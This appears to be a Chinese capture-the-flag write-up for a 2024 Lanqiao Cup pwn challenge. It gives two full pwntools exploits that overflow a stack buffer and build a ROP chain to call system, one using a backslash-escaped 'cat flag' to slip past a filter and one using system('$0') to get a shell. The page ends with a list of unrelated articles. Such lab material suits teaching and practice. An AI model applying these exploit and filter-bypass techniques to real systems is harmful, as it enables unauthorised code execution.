[蓝桥杯2024]-PWN:fd解析(命令符转义,标准输出重定向,利用system(‘$0‘)获取shell权限)

查看保护

查看ida

这里有一次栈溢出,并且题目给了我们system函数。

这里的知识点没有那么复杂

方法一(命令转义):

完整exp:

from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778

payload=b"ca\\t flag 1>&2"
print(len(payload))
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()

#补充点1:在第一种方法里,这里的\\是转义符,它所占的字节数并不是2个

payload=b"cat flag 1>&2"
payload=b"c\at flag 1>&2"
payload=b"c\\at flag 1>&2"

所以在这里\\只占一个字节的位置,刚好达到输入上限

方法二(利用system('$0')):

完整exp:

from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778

payload=b"$0\x00"
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()

获得权限之后再输入exec 1>&2进行重定向就可以正常拿flag了

相关推荐
东阳马生架构2 小时前
MySQL底层概述—1.InnoDB内存结构
java·数据库·mysql
standxy2 小时前
通过轻易云平台实现聚水潭数据高效集成到MySQL的技术方案
android·数据库·mysql
itwangyang5202 小时前
2025 - 科研神器 - 批量处理 PDF、SVG、PNG 和 JPG 文件,将它们转换为彩色 TIFF 文件,并保存到指定的 tiff 文件夹中
数据库·pdf
痞老板A小安装C43 小时前
redis的大key和热key问题解决方案
数据库·redis·bootstrap
feilieren3 小时前
DataGrip 连接 Redis、TongRDS
数据库·redis·缓存
液态不合群3 小时前
Redis中常见的数据类型及其应用场景
数据库·redis·wpf
Allen Bright3 小时前
Jedis存储一个-以String的形式的对象到Redis
数据库·redis·缓存
One_Blanks4 小时前
eduSRC挖洞思路
网络安全·edusrc·挖洞
44漏洞观察员4 小时前
windows实战-wordpress——玄机靶场
服务器·windows·web安全·网络安全·安全威胁分析
Allen Bright4 小时前
Jedis存储一个以byte[]的形式的对象到Redis
数据库·redis·缓存